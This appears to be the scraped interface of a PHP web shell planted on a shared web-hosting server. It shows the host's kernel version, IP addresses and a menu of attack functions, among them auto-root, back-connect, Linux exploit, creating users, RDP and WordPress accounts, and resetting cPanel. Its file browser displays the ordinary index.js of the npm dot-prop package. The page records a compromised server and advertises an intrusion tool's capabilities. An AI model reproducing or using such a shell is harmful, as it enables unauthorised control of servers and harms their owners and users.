Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 18.117.78.145
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
node_modules /
npm /
node_modules /
dot-prop /
[ HOME SHELL ]
Name
Size
Permission
Action
index.js
2.49
KB
-rw-r--r--
license
1.09
KB
-rw-r--r--
package.json
1.8
KB
-rw-r--r--
readme.md
1.81
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.js
'use strict'; const isObj = require('is-obj'); const disallowedKeys = [ '__proto__', 'prototype', 'constructor' ]; const isValidPath = pathSegments => !pathSegments.some(segment => disallowedKeys.includes(segment)); function getPathSegments(path) { const pathArr = path.split('.'); const parts = []; for (let i = 0; i < pathArr.length; i++) { let p = pathArr[i]; while (p[p.length - 1] === '\\' && pathArr[i + 1] !== undefined) { p = p.slice(0, -1) + '.'; p += pathArr[++i]; } parts.push(p); } if (!isValidPath(parts)) { return []; } return parts; } module.exports = { get(obj, path, value) { if (!isObj(obj) || typeof path !== 'string') { return value === undefined ? obj : value; } const pathArr = getPathSegments(path); if (pathArr.length === 0) { return; } for (let i = 0; i < pathArr.length; i++) { if (!Object.prototype.propertyIsEnumerable.call(obj, pathArr[i])) { return value; } obj = obj[pathArr[i]]; if (obj === undefined || obj === null) { // `obj` is either `undefined` or `null` so we want to stop the loop, and // if this is not the last bit of the path, and // if it did't return `undefined` // it would return `null` if `obj` is `null` // but we want `get({foo: null}, 'foo.bar')` to equal `undefined`, or the supplied value, not `null` if (i !== pathArr.length - 1) { return value; } break; } } return obj; }, set(obj, path, value) { if (!isObj(obj) || typeof path !== 'string') { return obj; } const root = obj; const pathArr = getPathSegments(path); if (pathArr.length === 0) { return; } for (let i = 0; i < pathArr.length; i++) { const p = pathArr[i]; if (!isObj(obj[p])) { obj[p] = {}; } if (i === pathArr.length - 1) { obj[p] = value; } obj = obj[p]; } return root; }, delete(obj, path) { if (!isObj(obj) || typeof path !== 'string') { return; } const pathArr = getPathSegments(path); for (let i = 0; i < pathArr.length; i++) { const p = pathArr[i]; if (i === pathArr.length - 1) { delete obj[p]; return; } obj = obj[p]; if (!isObj(obj)) { return; } } }, has(obj, path) { if (!isObj(obj) || typeof path !== 'string') { return false; } const pathArr = getPathSegments(path); for (let i = 0; i < pathArr.length; i++) { if (isObj(obj)) { if (!(pathArr[i] in obj)) { return false; } obj = obj[pathArr[i]]; } else { return false; } } return true; } };
Close